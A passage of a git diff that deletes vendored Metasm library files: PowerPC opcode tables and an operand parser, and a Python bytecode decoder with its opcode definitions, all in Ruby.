:ign_bo_at2 => 0b100111111 - - @valid_args = @fields_mask.dup - [:ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :aa, :lk, :oe, :rc, :l].each { |k| @valid_args.delete k } - - @fields_shift[:ra_i16] = @fields_shift[:ra_i16s] = @fields_shift[:ra_i16q] = 0 - @fields_mask[:ra_i16] = (@fields_mask[:d] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) - @fields_mask[:ra_i16s] = (@fields_mask[:ds] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) - @fields_mask[:ra_i16q] = (@fields_mask[:dq] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) - - - addop_branch 'b', 0x48000000, :li, :stopexec - addop_branchcond 'b', 0x40000000, :bd - addop_branchcond 'b', 0x4C000020, :lr - addop_branchcond 'b', 0x4C000420, :ctr - - addop 'sc', 0x44000002, :lev - addop 'crand', 0x4C000202, :bt, :ba, :bb - addop 'crxor', 0x4C000182, :bt, :ba, :bb - # alias crclr bx -> crxor bx, bx, bx - addop 'cror', 0x4C000382, :bt, :ba, :bb - # alias crmove bx, by -> cror bx, by, by - addop 'crnand', 0x4C0001C2, :bt, :ba, :bb - addop 'crnor', 0x4C000042, :bt, :ba, :bb - # alias crnot bx, by -> crnor bx, by, by - addop 'crandc', 0x4C000102, :bt, :ba, :bb - addop 'creqv', 0x4C000242, :bt, :ba, :bb - # alias crset bx -> creqv bx, bx, bx - addop 'crorc', 0x4C000342, :bt, :ba, :bb - addop 'mcrf', 0x4C000000, :bf, :bfa - addop 'lbz', 0x88000000, :rt, :ra_i16 - addop 'lbzu', 0x8C000000, :rt, :ra_i16 - addop 'lbzx', 0x7C0000AE, :rt, :ra, :rb - addop 'lbzux', 0x7C0000EE, :rt, :ra, :rb - addop 'lhz', 0xA0000000, :rt, :ra_i16 - addop 'lhzu', 0xA4000000, :rt, :ra_i16 - addop 'lhzx', 0x7C00022E, :rt, :ra, :rb - addop 'lhzux', 0x7C00026E, :rt, :ra, :rb - addop 'lha', 0xA8000000, :rt, :ra_i16 - addop 'lhau', 0xAC000000, :rt, :ra_i16 - addop 'lhax', 0x7C0002AE, :rt, :ra, :rb - addop 'lhaux', 0x7C0002EE, :rt, :ra, :rb - addop 'lwz', 0x80000000, :rt, :ra_i16 - addop 'lwzu', 0x84000000, :rt, :ra_i16 - addop 'lwzx', 0x7C00002E, :rt, :ra, :rb - addop 'lwzux', 0x7C00006E, :rt, :ra, :rb - addop 'lwa', 0xE8000002, :rt, :ra_i16s - addop 'lwax', 0x7C0002AA, :rt, :ra, :rb - addop 'lwaux', 0x7C0002EA, :rt, :ra, :rb - addop 'ld', 0xE8000000, :rt, :ra_i16s - addop 'ldu', 0xE8000001, :rt, :ra_i16s - addop 'ldx', 0x7C00002A, :rt, :ra, :rb - addop 'ldux', 0x7C00006A, :rt, :ra, :rb - addop 'stb', 0x98000000, :rs, :ra_i16 - addop 'stbu', 0x9C000000, :rs, :ra_i16 - addop 'stbx', 0x7C0001AE, :rs, :ra, :rb - addop 'stbux', 0x7C0001EE, :rs, :ra, :rb - addop 'sth', 0xB0000000, :rs, :ra_i16 - addop 'sthu', 0xB4000000, :rs, :ra_i16 - addop 'sthx', 0x7C00032E, :rs, :ra, :rb - addop 'sthux', 0x7C00036E, :rs, :ra, :rb - addop 'stw', 0x90000000, :rs, :ra_i16 - addop 'stwu', 0x94000000, :rs, :ra_i16 - addop 'stwx', 0x7C00012E, :rs, :ra, :rb - addop 'stwux', 0x7C00016E, :rs, :ra, :rb - addop 'std', 0xF8000000, :rs, :ra_i16s - addop 'stdu', 0xF8000001, :rs, :ra_i16s - addop 'stdx', 0x7C00012A, :rs, :ra, :rb - addop 'stdux', 0x7C00016A, :rs, :ra, :rb - addop 'lhbrx', 0x7C00062C, :rt, :ra, :rb - addop 'lwbrx', 0x7C00042C, :rt, :ra, :rb - addop 'sthbrx', 0x7C00072C, :rs, :ra, :rb - addop 'stwbrx', 0x7C00052C, :rs, :ra, :rb - addop 'lmw', 0xB8000000, :rt, :ra_i16 - addop 'stmw', 0xBC000000, :rs, :ra_i16 - addop 'lswi', 0x7C0004AA, :rt, :ra, :nb - addop 'lswx', 0x7C00042A, :rt, :ra, :rb - addop 'stswi', 0x7C0005AA, :rs, :ra, :nb - addop 'stswx', 0x7C00052A, :rs, :ra, :rb - addop 'li', 0x38000000, :rt, :si # alias li rx, value -> addi rx, 0, value - addop 'addi', 0x38000000, :rt, :ra, :si - addop 'la', 0x38000000, :rt, :ra_i16 # alias la rx, disp(ry) -> addi rx, ry, disp - addop 'lis', 0x3C000000, :rt, :si # alias lis rx, value -> addis rx, 0, value - addop 'addis', 0x3C000000, :rt, :ra, :si - addop_o 'add', 0x7C000214, :rt, :ra, :rb - addop 'addic', 0x30000000, :rt, :ra, :si - addop_o 'sub', 0x7C000050, :rt, :rb, :ra # alias sub rx, ry, rz -> subf rx, rz, ry - addop_o 'subf', 0x7C000050, :rt, :ra, :rb - addop 'addic.', 0x34000000, :rt, :ra, :si - addop 'subfic', 0x20000000, :rt, :ra, :si - addop_o 'addc', 0x7C000014, :rt, :ra, :rb - addop_o 'subc', 0x7C000010, :rt, :rb, :ra # alias subc rx, ry, rz -> subfc rx, rz, ry - addop_o 'subfc',0x7C000010, :rt, :ra, :rb - addop_o 'adde', 0x7C000114, :rt, :ra, :rb - addop_o 'addme',0x7C0001D4, :rt, :ra - addop_o 'subfe',0x7C000110, :rt, :ra, :rb - addop_o 'subfme',0x7C0001D0,:rt, :ra - addop_o 'addze',0x7C000194, :rt, :ra - addop_o 'subfze',0x7C000190,:rt, :ra - addop_o 'neg', 0x7C0000D0, :rt, :ra - addop 'mulli', 0x1C000000, :rt, :ra, :si - addop_o 'mulld',0x7C0001D2, :rt, :ra, :rb - addop_o 'mullw',0x7C0001D6, :rt, :ra, :rb - addop_ 'mulhd', 0x7C000092, :rt, :ra, :rb - addop_ 'mulhdu',0x7C000012, :rt, :ra, :rb - addop_ 'mulhw', 0x7C000096, :rt, :ra, :rb - addop_ 'mulhwu',0x7C000016, :rt, :ra, :rb - addop_o 'divd', 0x7C0003D2, :rt, :ra, :rb - addop_o 'divw', 0x7C0003D6, :rt, :ra, :rb - addop_o 'divdu',0x7C000392, :rt, :ra, :rb - addop_o 'divwu',0x7C000396, :rt, :ra, :rb - addop_cmp 'cmpi', 0x2C000000, :bf, :ra, :si - addop_cmp 'cmp', 0x7C000000, :bf, :ra, :rb - addop_cmp 'cmpli', 0x28000000, :bf, :ra, :ui - addop_cmp 'cmpl', 0x7C000040, :bf, :ra, :rb - addop 'andi.', 0x70000000, :ra, :rs, :ui - addop 'andis.', 0x74000000, :ra, :rs, :ui - addop 'nop', 0x60000000 - addop 'ori', 0x60000000, :ra, :rs, :ui - addop 'oris', 0x64000000, :ra, :rs, :ui - addop 'xori', 0x68000000, :ra, :rs, :ui - addop 'xoris', 0x6C000000, :ra, :rs, :ui - addop_ 'and', 0x7C000038, :ra, :rs, :rb - addop_ 'xor', 0x7C000278, :ra, :rs, :rb - addop_ 'or', 0x7C000378, :ra, :rs, :rb - # alias mr rx, ry -> or rx, ry, ry - addop_ 'nand', 0x7C0003B8, :ra, :rs, :rb - addop_ 'nor', 0x7C0000F8, :ra, :rs, :rb - # alias not rx, ry -> nor rx, ry, ry - addop_ 'andc', 0x7C000078, :ra, :rs, :rb - addop_ 'eqv', 0x7C000238, :ra, :rs, :rb - addop_ 'orc', 0x7C000338, :ra, :rs, :rb - addop_ 'extsb', 0x7C000774, :ra, :rs - addop_ 'extsw', 0x7C0007B4, :ra, :rs - addop_ 'extsh', 0x7C000734, :ra, :rs - addop_ 'cntlzd',0x7C000074, :ra, :rs - addop_ 'cntlzw',0x7C000034, :ra, :rs - addop 'popcntb',0x7C0000F4, :ra, :rs - addop 'clrldi', 0x78000000, :ra, :rs, :mb # alias clrldi rx, ry, n -> rldicl rx, ry, 0, n - addop_ 'rldicl',0x78000000, :ra, :rs, :sh, :mb, :sh_ - # alias extrdi rx, ry, n, b -> rldicl rx, ry, b+n, 64 - n - # alias srdi rx, ry, n -> rldicl rx, ry, 64 - n, n - addop_ 'rldicr',0x78000004, :ra, :rs, :sh, :me, :sh_ - # alias extldi rx, ry, n, b -> rldicr rx, ry, b, n - 1 - # alias sldi rx, ry, n -> rldicr rx, ry, n, 63 - n - # alias clrrdi rx, ry, n -> rldicr rx, ry, 0, 63 - n - addop_ 'rldic', 0x78000008, :ra, :rs, :sh, :mb, :sh_ - # alias clrlsldi rx, ry, b, n -> rldic rx, ry, n, b - n - addop_ 'rlwinm',0x54000000, :ra, :rs, :sh, :mb_, :me_ - # alias extlwi rx, ry, n, b -> rlwinm rx, ry, b, 0, n - 1 - # alias srwi rx, ry, n -> rlwinm rx, ry, 32 - n, n, 31 - # alias clrrwi rx, ry, n -> rlwinm rx, ry, 0, 0, 31 - n - addop 'rotld', 0x78000010, :ra, :rs, :rb # alias rotld rx, ry, rz -> rldcl rx, ry, rz, 0 - addop_ 'rldcl', 0x78000010, :ra, :rs, :rb, :mb - addop_ 'rldcr', 0x78000012, :ra, :rs, :rb, :me - addop 'rotlw', 0x5C000000|(31<<@fields_shift[:me_]), :ra, :rs, :rb # alias rotlw rx, ry, rz -> rlwnm rx, ry, rz, 0, 31 - addop_ 'rlwnm', 0x5C000000, :ra, :rs, :rb, :mb_, :me_ - addop_ 'rldimi',0x7800000C, :ra, :rs, :sh, :mb, :sh_ - # alias insrdi rx, ry, n, b -> rldimi rx, ry, 64 - (b+n), b - addop_ 'rlwimi',0x50000000, :ra, :rs, :sh, :mb_, :me_ - # alias inslwi rx, ry, n, b -> rlwimi rx, ry, 32-b, b, b+n - 1 - addop_ 'sld', 0x7C000036, :ra, :rs, :rb - addop_ 'slw', 0x7C000030, :ra, :rs, :rb - addop_ 'srd', 0x7C000436, :ra, :rs, :rb - addop_ 'srw', 0x7C000430, :ra, :rs, :rb - addop_ 'sradi', 0x7C000674, :ra, :rs, :sh, :sh_ - addop_ 'srawi', 0x7C000670, :ra, :rs, :sh - addop_ 'srad', 0x7C000634, :ra, :rs, :rb - addop_ 'sraw', 0x7C000630, :ra, :rs, :rb - #addop 'mtspr', 0x7C0003A6, :spr, :rs - addop 'mtxer', 0x7C0003A6|(1<<16), :rs - addop 'mtlr', 0x7C0003A6|(8<<16), :rs - addop 'mtctr', 0x7C0003A6|(9<<16), :rs - #addop 'mfspr', 0x7C0002A6, :rt, :spr - addop 'mfxer', 0x7C0002A6|(1<<16), :rt - addop 'mflr', 0x7C0002A6|(8<<16), :rt - addop 'mfctr', 0x7C0002A6|(9<<16), :rt - addop 'mtcrf', 0x7C000120, :fxm, :rs - # alias mtcr rx -> mtcrf 0xff, rx - addop 'mfcr', 0x7C000026, :rt - addop 'lfs', 0xC0000000, :frt, :ra_i16 - addop 'lfsu', 0xC4000000, :frt, :ra_i16 - addop 'lfsx', 0x7C00042E, :frt, :ra, :rb - addop 'lfsux', 0x7C00046E, :frt, :ra, :rb - addop 'lfd', 0xC8000000, :frt, :ra_i16 - addop 'lfdu', 0xCC000000, :frt, :ra_i16 - addop 'lfdx', 0x7C0004AE, :frt, :ra, :rb - addop 'lfdux', 0x7C0004EE, :frt, :ra, :rb - addop 'stfs', 0xD0000000, :frs, :ra_i16 - addop 'stfsu', 0xD4000000, :frs, :ra_i16 - addop 'stfsx', 0x7C00052E, :frs, :ra, :rb - addop 'stfsux', 0x7C00056E, :frs, :ra, :rb - addop 'stfd', 0xD8000000, :frs, :ra_i16 - addop 'stfdu', 0xDC000000, :frs, :ra_i16 - addop 'stfdx', 0x7C0005AE, :frs, :ra, :rb - addop 'stfdux', 0x7C0005EE, :frs, :ra, :rb - addop 'stfiwx', 0x7C0007AE, :frs, :ra, :rb - addop_ 'fmr', 0xFC000090, :frt, :frb - addop_ 'fabs', 0xFC000210, :frt, :frb - addop_ 'fneg', 0xFC000050, :frt, :frb - addop_ 'fnabs', 0xFC000110, :frt, :frb - addop_ 'fadd', 0xFC00002A, :frt, :fra, :frb - addop_ 'fadds', 0xEC00002A, :frt, :fra, :frb - addop_ 'fsub', 0xFC000028, :frt, :fra, :frb - addop_ 'fsubs', 0xEC000028, :frt, :fra, :frb - addop_ 'fmul', 0xFC000032, :frt, :fra, :frc - addop_ 'fmuls', 0xEC000032, :frt, :fra, :frc - addop_ 'fdiv', 0xFC000024, :frt, :fra, :frb - addop_ 'fdivs', 0xEC000024, :frt, :fra, :frb - addop_ 'fmadd', 0xFC00003A, :frt, :fra, :frc, :frb - addop_ 'fmadds',0xEC00003A, :frt, :fra, :frc, :frb - addop_ 'fmsub', 0xFC000038, :frt, :fra, :frc, :frb - addop_ 'fmsubs',0xEC000038, :frt, :fra, :frc, :frb - addop_ 'fnmadd',0xFC00003E, :frt, :fra, :frc, :frb - addop_ 'fnmadds',0xEC00003E,:frt, :fra, :frc, :frb - addop_ 'fnmsub',0xFC00003C, :frt, :fra, :frc, :frb - addop_ 'fnmsubs',0xEC00003C,:frt, :fra, :frc, :frb - addop_ 'frsp', 0xFC000018, :frt, :frb - addop_ 'fctid', 0xFC00065C, :frt, :frb - addop_ 'fctidz',0xFC00065E, :frt, :frb - addop_ 'fctiw', 0xFC00001C, :frt, :frb - addop_ 'fctiwz',0xFC00001E, :frt, :frb - addop_ 'fcfid', 0xFC00069C, :frt, :frb - addop 'fcmpu', 0xFC000000, :bf, :fra, :frb - addop 'fcmpo', 0xFC000040, :bf, :fra, :frb - addop_ 'mffs', 0xFC00048E, :frt - addop 'mcrfs', 0xFC000080, :bf, :bfa - addop_ 'mtfsfi',0xFC00010C, :bf, :u - addop_ 'mtfsf', 0xFC00058E, :flm, :frb - addop_ 'mtfsb0',0xFC00008C, :bt - addop_ 'mtfsb1',0xFC00004C, :bt - addop 'mtocrf', 0x7C100120, :fxm, :rs - addop_ 'fsqrt', 0xFC00002C, :frt, :frb - addop_ 'fsqrts',0xEC00002C, :frt, :frb - addop_ 'fre', 0xFC000030, :frt, :frb - addop_ 'fres', 0xEC000030, :frt, :frb - addop_ 'frsqrte',0xFC000034,:frt, :frb - addop_ 'frsqrtes',0xEC000034, :frt, :frb - addop_ 'fsel', 0xFC00002E, :frt, :fra, :frc, :frb - addop 'mcrxr', 0x7C000400, :bf - addop 'icbi', 0x7C0007AC, :ra, :rb - addop 'dcbt', 0x7C00022C, :ra, :rb - addop 'dcbtst', 0x7C0001EC, :ra, :rb - addop 'dcbz', 0x7C0007EC, :ra, :rb - addop 'dcbst', 0x7C00006C, :ra, :rb - addop 'dcbf', 0x7C0000AC, :ra, :rb - addop 'isync', 0x4C00012C - addop 'lwarx', 0x7C000028, :rt, :ra, :rb - addop 'ldarx', 0x7C0000A8, :rt, :ra, :rb - addop 'stwcx.', 0x7C00012D, :rs, :ra, :rb - addop 'stdcx.', 0x7C0001AD, :rs, :ra, :rb - addop 'sync', 0x7C0004AC, :l_ - addop 'eieio', 0x7C0006AC - addop 'mftb', 0x7C0002E6, :rt, :tbr - addop 'eciwx', 0x7C00026C, :rt, :ra, :rb - addop 'ecowx', 0x7C00036C, :rs, :ra, :rb - addop 'dcbt', 0x7C00022C, :ra, :rb, :th - addop 'dcbf', 0x7C0000AC, :ra, :rb - addop 'dcbf', 0x7C0000AC, :ra, :rb, :l - addop 'sc', 0x44000002, :lev - addop 'rfid', 0x4C000024 - addop 'hrfid', 0x4C000224 - addop 'mtmsrd', 0x7C000164, :rs, :l__ - addop 'mfmsr', 0x7C0000A6, :rt - addop 'slbie', 0x7C000364, :rb - addop 'slbmte', 0x7C000324, :rs, :rb - addop 'slbmfev',0x7C0006A6, :rt, :rb - addop 'slbmfee',0x7C000726, :rt, :rb - addop 'tlbie', 0x7C000264, :rb, :l - addop 'tlbiel', 0x7C000224, :rb, :l - addop 'tlbia', 0x7C0002E4 - addop 'tlbsync',0x7C00046C - addop 'mtmsr', 0x7C000124, :rs, :l__ - addop 'lq', 0xE0000000, :rt, :ra_i16q - addop 'stq', 0xF8000002, :rs, :ra_i16s - addop 'mtsr', 0x7C0001A4, :sr, :rs - addop 'mtsrin', 0x7C0001E4, :rs, :rb - addop 'mfsr', 0x7C0004A6, :rt, :sr - addop 'mfsrin', 0x7C000526, :rt, :rb - - addop_trap 'tw', 0x7C000008, :ra, :rb - addop_trap 'twi', 0xC0000000, :ra, :si - addop_trap 'td', 0x7C000088, :ra, :rb - addop_trap 'tdi', 0x08000000, :ra, :si - - # pseudo-instructions - addop 'mr', :pseudo, :ra, :rb - addop 'not', :pseudo, :ra - addop 'not', :pseudo, :ra, :rb - @opcode_list.each { |op| - if op.name =~ /^addi/ - addop op.name.sub('add', 'sub'), :pseudo, *op.args - end - if op.name =~ /^(add|sub|xor|and|or|div|mul|nand)/ and op.args.length == 3 - addop op.name, :pseudo, *op.args[1..-1] - end - } - end -end -end diff --git a/lib/metasm/metasm/cpu/ppc/parse.rb b/lib/metasm/metasm/cpu/ppc/parse.rb deleted file mode 100644 index e534a79c31..0000000000 --- a/lib/metasm/metasm/cpu/ppc/parse.rb +++ /dev/null @@ -1,55 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ppc/opcodes' -require 'metasm/parse' - -module Metasm -class PowerPC -# TODO - def parse_arg_valid?(op, sym, arg) - case sym - when :ra, :rb, :rs, :rt; arg.kind_of?(GPR) - when :fra, :frb, :frc, :frs, :frt; arg.kind_of?(FPR) - when :ra_i16, :ra_i16s, :ra_i16q; arg.kind_of?(Memref) - when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :mb, :me, :mb_, :me_, :u; arg.kind_of?(Expression) - when :ba, :bf, :bfa, :bt; arg.kind_of?(CR) - when :ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :aa, :lk, :oe, :rc, :l; # ? - when :bb, :bh, :flm, :fxm, :l_, :l__, :lev, :nb, :sh_, :spr, :sr, :tbr, :th, :to - # TODO - else raise "internal error: mips arg #{sym.inspect}" - end - end - - def parse_argument(pgm) - pgm.skip_space - return if not tok = pgm.readtok - if tok.type == :string - return GPR.new(GPR.s_to_i[tok.raw]) if GPR.s_to_i[tok.raw] - return SPR.new(SPR.s_to_i[tok.raw]) if SPR.s_to_i[tok.raw] - return FPR.new(FPR.s_to_i[tok.raw]) if FPR.s_to_i[tok.raw] - return CR.new(CR.s_to_i[tok.raw]) if CR.s_to_i[tok.raw] - return MSR.new if tok.raw == 'msr' - end - pgm.unreadtok tok - arg = Expression.parse pgm - pgm.skip_space - # check memory indirection: 'off(base reg)' # XXX scaled index ? - if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '(' - pgm.readtok - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and GPR.s_to_i[ntok.raw] - base = GPR.new GPR.s_to_i[ntok.raw] - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')' - arg = Memref.new base, arg - end - arg - end -end -end diff --git a/lib/metasm/metasm/cpu/python.rb b/lib/metasm/metasm/cpu/python.rb deleted file mode 100644 index 9ef1a00da4..0000000000 --- a/lib/metasm/metasm/cpu/python.rb +++ /dev/null @@ -1,8 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/python/decode' diff --git a/lib/metasm/metasm/cpu/python/decode.rb b/lib/metasm/metasm/cpu/python/decode.rb deleted file mode 100644 index 12bd7a2e0d..0000000000 --- a/lib/metasm/metasm/cpu/python/decode.rb +++ /dev/null @@ -1,136 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/python/opcodes' -require 'metasm/decode' - -module Metasm -class Python - def build_bin_lookaside - opcode_list.inject({}) { |la, op| la.update op.bin => op } - end - - def decode_findopcode(edata) - di = DecodedInstruction.new(self) - - byte = edata.decode_imm(:u8, :little) - - di if di.opcode = @bin_lookaside[byte] - end - - def decode_instr_op(edata, di) - di.bin_length = 1 - - di.instruction.opname = di.opcode.name - - di.opcode.args.each { |a| - case a - when :cmp - di.bin_length += 2 - v = edata.decode_imm(:i16, @endianness) - di.instruction.args << (CMP_OP[v] || Expression[v]) - when :i16 - di.bin_length += 2 - di.instruction.args << Expression[edata.decode_imm(:i16, @endianness)] - when :u8 - di.bin_length += 1 - di.instruction.args << Expression[edata.decode_imm(:u8, @endianness)] - else - raise "unsupported arg #{a.inspect}" - end - } - - return if edata.ptr > edata.length - - di - end - - def decode_instr_interpret(di, addr) - case di.opcode.name - when 'LOAD_CONST' - if c = prog_code(addr) - cst = c[:consts][di.instruction.args.first.reduce] - if cst.kind_of? Hash and cst[:type] == :code - di.add_comment "lambda #{Expression[cst[:fileoff]]}" - else - di.add_comment cst.inspect - end - end - when 'LOAD_NAME', 'LOAD_ATTR', 'LOAD_GLOBAL', 'STORE_NAME', 'IMPORT_NAME', 'LOAD_FAST' - if c = prog_code(addr) - di.add_comment c[:names][di.instruction.args.first.reduce].inspect - end - end - di - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - - def init_backtrace_binding - @backtrace_binding ||= {} - - opcode_list.each { |op| - binding = case op - when 'nop'; lambda { |*a| {} } - end - @backtrace_binding[op] ||= binding if binding - } - - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Var; arg.symbolic - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - { :incomplete_binding => Expression[1] } - end - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - arg = case di.opcode.name - when 'JUMP_FORWARD', 'FOR_ITER' - # relative offset - di.instruction.args.last.reduce + di.next_addr - when 'CALL_FUNCTION_VAR' - 'lol' - when /CALL/ - :unknown - else - # absolute offset from :code start - off = di.instruction.args.last.reduce - if c = prog_code(di) - off += c[:fileoff] - end - off - end - - [Expression[(arg.kind_of?(Var) ? arg.symbolic : arg)]] - end - - def prog_code(addr) - addr = addr.address if addr.kind_of? DecodedInstruction - @last_prog_code ||= nil - return @last_prog_code if @last_prog_code and @last_prog_code[:fileoff] <= addr and @last_prog_code[:fileoff] + @last_prog_code[:code].length > addr - @last_prog_code = @program.code_at_off(addr) if @program - end - - def backtrace_is_function_return(expr, di=nil) - #Expression[expr].reduce == Expression['wtf'] - end -end -end diff --git a/lib/metasm/metasm/cpu/python/main.rb b/lib/metasm/metasm/cpu/python/main.rb deleted file mode 100644 index f5918a4233..0000000000 --- a/lib/metasm/metasm/cpu/python/main.rb +++ /dev/null @@ -1,36 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/main' - -module Metasm -class Python < CPU - def initialize(prog = nil) - super() - @program = prog - @endianness = (prog.respond_to?(:endianness) ? prog.endianness : :little) - @size = (prog.respond_to?(:size) ? prog.size : 32) - end - - class Var - include Renderable - - attr_accessor :i - - def initialize(i); @i = i end - - def ==(o) - o.class == self.class and o.i == i - end - - def symbolic; "var_#{@i}".to_sym end - - def render - ["var_#@i"] - end - - end -end -end diff --git a/lib/metasm/metasm/cpu/python/opcodes.rb b/lib/metasm/metasm/cpu/python/opcodes.rb deleted file mode 100644 index 1e55d2fb95..0000000000 --- a/lib/metasm/metasm/cpu/python/opcodes.rb +++ /dev/null @@ -1,180 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/python/main' - -module Metasm -class Python - CMP_OP = %w[< <= == != > >= in not_in is is_not exch] - - def addop(name, bin, *args) - o = Opcode.new(name) - o.bin = bin - - args.each { |a| - o.args << a if @valid_args[a] - o.props[a] = true if @valid_props[a] - } - o.args << :i16 if o.bin >= 90 and o.props.empty? # HAVE_ARGUMENT - - @opcode_list << o - end - - def init_opcode_list - @opcode_list = [] - - @valid_args[:u8] = true - @valid_args[:i16] = true - @valid_args[:cmp] = true - - addop 'STOP_CODE', 0, :stopexec - addop 'POP_TOP', 1 - addop 'ROT_TWO', 2 - addop 'ROT_THREE', 3 - addop 'DUP_TOP', 4 - addop 'ROT_FOUR', 5 - addop 'NOP', 9 - - addop 'UNARY_POSITIVE', 10 - addop 'UNARY_NEGATIVE', 11 - addop 'UNARY_NOT', 12 - addop 'UNARY_CONVERT', 13 - - addop 'UNARY_INVERT', 15 - - addop 'BINARY_POWER', 19 - - addop 'BINARY_MULTIPLY', 20 - addop 'BINARY_DIVIDE', 21 - addop 'BINARY_MODULO', 22 - addop 'BINARY_ADD', 23 - addop 'BINARY_SUBTRACT', 24 - addop 'BINARY_SUBSCR', 25 - addop 'BINARY_FLOOR_DIVIDE', 26 - addop 'BINARY_TRUE_DIVIDE', 27 - addop 'INPLACE_FLOOR_DIVIDE', 28 - addop 'INPLACE_TRUE_DIVIDE', 29 - - addop 'SLICE', 30 - addop 'SLICE_1', 31 - addop 'SLICE_2', 32 - addop 'SLICE_3', 33 - - addop 'STORE_SLICE', 40 - addop 'STORE_SLICE_1', 41 - addop 'STORE_SLICE_2', 42 - addop 'STORE_SLICE_3', 43 - - addop 'DELETE_SLICE', 50 - addop 'DELETE_SLICE_1', 51 - addop 'DELETE_SLICE_2', 52 - addop 'DELETE_SLICE_3', 53 - - addop 'STORE_MAP', 54 - addop 'INPLACE_ADD', 55 - addop 'INPLACE_SUBTRACT', 56 - addop 'INPLACE_MULTIPLY', 57 - addop 'INPLACE_DIVIDE', 58 - addop 'INPLACE_MODULO', 59 - addop 'STORE_SUBSCR', 60 - addop 'DELETE_SUBSCR', 61 - - addop 'BINARY_LSHIFT', 62 - addop 'BINARY_RSHIFT', 63 - addop 'BINARY_AND', 64 - addop 'BINARY_XOR', 65 - addop 'BINARY_OR', 66 - addop 'INPLACE_POWER', 67 - addop 'GET_ITER', 68 - - addop 'PRINT_EXPR', 70 - addop 'PRINT_ITEM', 71 - addop 'PRINT_NEWLINE', 72 - addop 'PRINT_ITEM_TO', 73 - addop 'PRINT_NEWLINE_TO', 74 - addop 'INPLACE_LSHIFT', 75 - addop 'INPLACE_RSHIFT', 76 - addop 'INPLACE_AND', 77 - addop 'INPLACE_XOR', 78 - addop 'INPLACE_OR', 79 - addop 'BREAK_LOOP', 80 - addop 'WITH_CLEANUP', 81 - addop 'LOAD_LOCALS', 82 - addop 'RETURN_VALUE', 83 - addop 'IMPORT_STAR', 84 - addop 'EXEC_STMT', 85 - addop 'YIELD_VALUE', 86 - addop 'POP_BLOCK', 87 - addop 'END_FINALLY', 88 - addop 'BUILD_CLASS', 89 - - #addop 'HAVE_ARGUMENT', 90 #/* Opcodes from here have an argument: */ - - addop 'STORE_NAME', 90 #/* Index in name list */ - addop 'DELETE_NAME', 91 #/* "" */ - addop 'UNPACK_SEQUENCE', 92 #/* Number of sequence items */ - addop 'FOR_ITER', 93, :setip - addop 'LIST_APPEND', 94 - - addop 'STORE_ATTR', 95 #/* Index in name list */ - addop 'DELETE_ATTR', 96 #/* "" */ - addop 'STORE_GLOBAL', 97 #/* "" */ - addop 'DELETE_GLOBAL', 98 #/* "" */ - addop 'DUP_TOPX', 99 #/* number of items to duplicate */ - addop 'LOAD_CONST', 100 #/* Index in const list */ - addop 'LOAD_NAME', 101 #/* Index in name list */ - addop 'BUILD_TUPLE', 102 #/* Number of tuple items */ - addop 'BUILD_LIST', 103 #/* Number of list items */ - addop 'BUILD_SET', 104 #/* Number of set items */ - addop 'BUILD_MAP', 105 #/* Always zero for now */ - addop 'LOAD_ATTR', 106 #/* Index in name list */ - addop 'COMPARE_OP', 107, :cmp #/* Comparison operator */ - addop 'IMPORT_NAME', 108 #/* Index in name list */ - addop 'IMPORT_FROM', 109 #/* Index in name list */ - addop 'JUMP_FORWARD', 110, :setip, :stopexec #/* Number of bytes to skip */ - - addop 'JUMP_IF_FALSE_OR_POP', 111, :setip #/* Target byte offset from beginning of code */ - addop 'JUMP_IF_TRUE_OR_POP', 112, :setip #/* "" */ - addop 'JUMP_ABSOLUTE', 113, :setip, :stopexec #/* "" */ - addop 'POP_JUMP_IF_FALSE', 114, :setip #/* "" */ - addop 'POP_JUMP_IF_TRUE', 115, :setip #/* "" */ - - addop 'LOAD_GLOBAL', 116 #/* Index in name list */ - - addop 'CONTINUE_LOOP', 119 #/* Start of loop (absolute) */ - addop 'SETUP_LOOP', 120 #/* Target address (relative) */ - addop 'SETUP_EXCEPT', 121 #/* "" */ - addop 'SETUP_FINALLY', 122 #/* "" */ - - addop 'LOAD_FAST', 124 #/* Local variable number */ - addop 'STORE_FAST', 125 #/* Local variable number */ - addop 'DELETE_FAST', 126 #/* Local variable number */ - - addop 'RAISE_VARARGS', 130 #/* Number of raise arguments (1, 2 or 3) */ - #/* CALL_FUNCTION_XXX opcodes defined below depend on this definition */ - addop 'CALL_FUNCTION', 131, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ - addop 'MAKE_FUNCTION', 132 #/* #defaults */ - addop 'BUILD_SLICE', 133 #/* Number of items */ - - addop 'MAKE_CLOSURE', 134 #/* #free vars */ - addop 